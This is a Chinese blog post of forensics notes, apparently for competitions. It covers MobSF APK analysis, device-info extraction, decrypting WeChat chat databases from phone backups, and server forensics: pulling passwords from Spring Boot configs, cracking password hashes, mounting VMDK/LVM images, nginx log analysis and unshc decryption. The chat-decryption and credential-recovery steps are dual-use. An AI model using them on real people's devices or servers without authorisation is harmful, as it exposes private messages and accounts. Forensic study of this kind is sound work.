  • 使用jdax反汇编apk,搜索数据库名称,进行逆向分析找到数据库密码。

APK分析工具-mobsf

项目地址:https://github.com/MobSF/Mobile-Security-Framework-MobSF?tab=readme-ov-file
部署命令:

docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
http://127.0.0.1:8000/
# Default username and password: mobsf/mobsf

image-20251002012238204

查看Activate数

image-20251002013252369

image-20251002013302388

签名信息

SINBER CERTIFICATE
image-20251002015543102

  • 签名状态与版本
    Binary is signed:二进制文件(即 APK)已被签名。
    v1 signature: True:使用了 Android 传统的 v1 签名(基于 JAR 签名机制)。
    v2(全 APK 签名,更安全高效)、v3(支持密钥轮换)、v4(增量签名,优化更新流程)。

  • 证书主体(Subject)与颁发者(Issuer)

    X.509 Subject:证书主体信息,包含:

    • C=US:国家(Country)为美国;
    • ST=California:州(State)为加利福尼亚;
    • L=Mountain View:城市(Locality)为山景城;
    • O=Android:组织(Organization)为 Android;
    • OU=Android:组织单元(Organizational Unit)为 Android;
    • CN=Android:通用名(Common Name)为 Android;
    • E=android@android.com:邮箱为 android@android.com

    Issuer:证书颁发者信息,与主体完全一致,说明这是自签名证书

  • 签名算法与有效期
    Signature Algorithm: rsassa_pkcs1v15:签名算法为 RSASSA-PKCS1-v1_5(基于 RSA 的签名方案,用于生成和验证签名)。
    Valid From: 2008-02-29 01:33:46+00:00:证书生效时间为 2008 年 2 月 29 日。
    Valid To: 2035-07-17 01:33:46+00:00:证书过期时间为 2035 年 7 月 17 日。

  • 证书唯一标识与哈希
    Serial Number: 0x936eacbe07f201df:证书的序列号(唯一标识该证书)。
    Hash Algorithm: sha1:哈希算法使用 SHA-1(用于生成证书内容的哈希值,验证完整性)。
    md5sha1sha256sha512:分别是证书内容的 MD5、SHA-1、SHA-256、SHA-512 哈希值,用于校验证书是否被篡改。

  • 证书数量
    Found 1 unique certificates:找到1 个唯一证书,即该 APK 仅用这一份证书签名。

权限信息

APPLICATION PERMISSIONS

设备信息取证

deviceinfo.json(设备基本信息)

\PhoneData\ deviceinfo.json

信息类别 具体内容
基础设备信息 - 名称:2711571803 的 Xiaomi 12 Pro- 厂商 / 品牌:Xiaomi- 型号:2201122C- 主板型号:taro- 设备标识:zeus
系统配置信息 - 操作系统:Android- 操作系统版本:12- BuildId:SKQ1.211006.001- CPU 型号:qcom- CPU 指令集:arm64-v8a, armeabi-v7a, armeabi
设备标识与网络 - AndroidId:bb88229197149bf8- 序列号:unknown- 设备 ID:空- 最后一次 IP 地址:192.168.8.153- 蓝牙 MAC 地址:空
存储状态 - 总空间:111070392320(约 103.4GB)- 剩余空间:68121858048(约 63.4GB)- 已用空间:42948534272(约 40GB)
通信与时间信息 - 电话号码 1:+8613023161693- IMEI1/IMEI2/Meid:均为空- 开机时间:2024-11-01T07:23:22.783Z(UTC 时区)
其他信息 - 剪贴板:空

社交软件取证

微信聊天记录取证

  • 打开Forensics Tool工具

  • 导入微信相关的数据库解密即可(你或许可以在sdcard\MIUI\backup\AllBackup中找到微信的备份文件),你也可以选择在X-ways直接搜索微信的包名(com.tencent.com,EnMicroMsg)或者数据库名称(),找到对应备份文件即可

  • auth_info_key_prefs.xml中的auth_uin
    image-20251026140110505

  • 获取到密钥
    image-20251026140301295

  • 导入数据库解密
    image-20251026140611826

  • 发现是SQLite数据库
    image-20251026141457456

  • 使用DBeaver
    image-20251026141803669

    image-20251026141748968

  • 导出为GBK编码格式,因为excel打开默认是GBK格式。

服务器取证(linux取证)

数据库命令

root@gass-virtual-machine:/home/gass/Desktop# mysql -u root -p 123568
Enter password: 

mysql> SELECT VERSION();

系统基本信息对应文件位置

Ubuntu

Ubuntu 22.04.5
内核版本:/usr/lib/modules/
网络信息:/etc/NetworkManager/system-connections

服务器运行项目

启动服务器项目的一些方法

  • spring Boot项目可能打包成jar包,我们需要使用jadx反编译查看BOOT-INF/classes/application.properties配置文件,在里面搜索password即可。

    application.properties:Spring Boot 的默认主配置文件

服务器后台登陆思路

  • 当拿到服务器数据库,可以查询数据库帐户的密码,然后解密hash,再逆向服务查看密码加密逻辑,如果加盐需要减去盐值。

端口服务

netstat -tulpn  #一次性列出所有正在监听的 TCP/UDP 端口

需要找到对应的项目文件,然后在其配置文件中寻找

nginx配置

nginx位置一般位于:/etc/nginx/nginx.conf

  • listen:指定 Nginx 监听的端口(如 listen 8801;),是网站对外提供服务的 “入口端口”,决定用户通过哪个端口访问(如 http://ip:8801)。
  • server_name:绑定的域名或 IP(如 server_name www.example.com;server_name 192.168.1.100;),用于区分不同网站(虚拟主机),匹配用户请求的域名 / IP。
  • 服务和指定端口对应信息。

挂载镜像

使用qemu-nbd

sudo modprobe nbd max_part=8  # 允许NBD设备识别分区

sudo qemu-nbd --connect=/dev/nbd0 evidence.vmdk  #关联 VMDK 到 NBD 设备
#若成功,VMDK 的分区会被识别为/dev/nbd0p1、/dev/nbd0p2等(可通过lsblk /dev/nbd0查看)。

sudo mkdir -p /mnt/vmdk					# 创建挂载点
sudo mount -o ro /dev/nbd0p1 /mnt/vmdk	# 挂载第一个分区(假设为ext4格式,取证需加ro只读参数)

挂载之后,就可以通过/mnt/vmdk直接访问

LVM挂载

sudo pvscan		# 查看物理卷(确认nbd0p2是否为LVM物理卷)
sudo vgscan		# 查看卷组(获取卷组名称,如centos、ubuntu-vg等)
sudo lvscan		# 查看逻辑卷(获取实际可挂载的逻辑卷路径)

sudo vgchange -a y			# 激活所有卷组(简单直接)
sudo vgchange -a y centos	# 或指定卷组激活(如卷组名为centos)

sudo mkdir -p /mnt/vmdk_lvm						# 创建挂载点
sudo mount -o ro /dev/centos/root /mnt/vmdk_lvm	# 挂载逻辑卷(替换为实际逻辑卷路径,从lvscan获取)

取消挂载

sudo umount 挂载点或设备路径

日志分析

系统日志

/var/log/syslog
  • 记录启动的程序:可以排除木马

nginx

服务器nginx日志中,哪个ip访问系统最为频繁?

gass@gass-virtual-machine:/home/project/cloud$ cat /var/log/nginx/access.log.1 | awk '{print $1}' | sort | uniq -c | sort -nr | head -n 1
    141 56.111.197.176
gass@gass-virtual-machine:/home/project/cloud$ 

查看启动项

etc/rc.local : 是 Linux 系统中一个用于配置开机自启动任务的传统脚本文件

 cat  /mnt/vmdk/etc/rc.local	#查看

计划任务

crontab -l 

shc加密

./unshc-v0.8.sh backup.sh.x

行为信息取证

奇安信沙箱

image-20251001232521156

  • 威胁情报
    恶意类型:挖矿病毒、特洛伊木马等

  • 行为类型
    执行恶意命令

  • 静态信息
    基本信息:文件类型、哈希
    文件元数据:产品数据、产品公司、语言
    Exiftool文件元数据:程序书写语言
    PE信息
    PE导入表:使用的DLL文件

  • 主机行为
    进程启动、网络访问、释放文件、行为异常图
    image-20251001233818034

    进程信息:进程执行命令

  • 网络行为
    DNS:DNS解析
    会话信息:协议、IP、端口
    HTTP信息

  • 释放文件

posted @ 2025-11-06 17:25  MillionMind  阅读(8)  评论(0)    收藏  举报